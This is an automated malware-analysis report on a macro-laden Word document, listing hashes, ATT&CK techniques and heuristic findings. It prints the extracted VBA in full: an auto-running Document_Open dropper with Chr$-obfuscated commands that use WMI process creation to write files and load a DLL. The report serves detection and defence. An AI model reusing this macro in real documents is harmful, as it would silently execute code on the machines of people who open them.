Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 03a8f82cd3c96f3c…

MALICIOUS

Office (OOXML)

109.3 KB Created: 2020-07-28 11:18:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-15
MD5: 5e4b7c54eadefd9d0b3464ba1b95ef22 SHA-1: 18c2498ef6979188c70c27a047ea7ea2d6f53ed4 SHA-256: 03a8f82cd3c96f3ce788f208bf67dfe92dcab47bb04350703e5d3205522d6a87
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with a Document_Open auto-execution routine. This macro attempts to create a directory at 'c:\nvidiacard' and then save files named 'hertzchecker' with .doc, .htm, and .xls extensions. It also attempts to execute commands using GetObject, likely to download and run a second-stage payload. The use of VBA macros and the Document_Open technique points to a macro-based malware delivery.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1891 bytes
SHA-256: c80c300766ac134de9efb4a5d3ba3f65851e3ea75cd3dd346a44fda017bc3e78
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private strFile
Private CmdStr
Private txtName
Private processid
Private OLEWord
Private Result
Private Tijd

Private Sub Document_Open()

strFile = "c:\nvidiacard"
txtName = strFile + "\hertzchecker"
CmdStr = Chr$(99) & Chr$(109) & Chr$(100) & Chr$(32) & Chr$(47) & Chr$(67) & Chr$(32) & Chr$(109) & Chr$(107) & Chr$(100) & Chr$(105) & Chr$(114)

Set OLEWord = GetObject(Chr$(119) & Chr$(105) & Chr$(110) & Chr$(109) & Chr$(103) & Chr$(109) & Chr$(116) & Chr$(115) & Chr$(58) & Chr$(87) & Chr$(105) & Chr$(110) & Chr$(51) & Chr$(50) & Chr$(95) & Chr$(80) & Chr$(114) & Chr$(111) & Chr$(99) & Chr$(101) & Chr$(115) & Chr$(115))
Result = OLEWord.create(CmdStr + " " + strFile, Null, Null, processid)
  
  Tijd = Timer()
  While Timer() - Tijd < 1
    DoEvents
  Wend
  
ActiveDocument.SaveAs FileName:=txtName & ".doc", FileFormat:=wdFormatText, AddToRecentFiles:=False
ActiveDocument.SaveAs FileName:=txtName & ".htm", FileFormat:=wdFormatText, AddToRecentFiles:=False
ActiveDocument.SaveAs FileName:=txtName & ".xls", FileFormat:=wdFormatText, AddToRecentFiles:=False
  
  Tijd = Timer()
  While Timer() - Tijd < 1
    DoEvents
  Wend
  
Result = OLEWord.create(ThisDocument.DefaultTargetFrame + txtName + ".doc " + txtName + ".dll", Null, Null, processid)

  Tijd = Timer()
  While Timer() - Tijd < 1
    DoEvents
  Wend
  
Result = OLEWord.create(DC32.GroupName + DC32.Accelerator + txtName + ".dll,Ole32Compact", Null, Null, processid)
Result = OLEWord.create(DC32.GroupName + DC32.Accelerator + txtName + ".dll,Ole32Dld", Null, Null, processid)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: a8643dd14e7b960566278559867069143d3f34f92492817f8d22119efd767ee4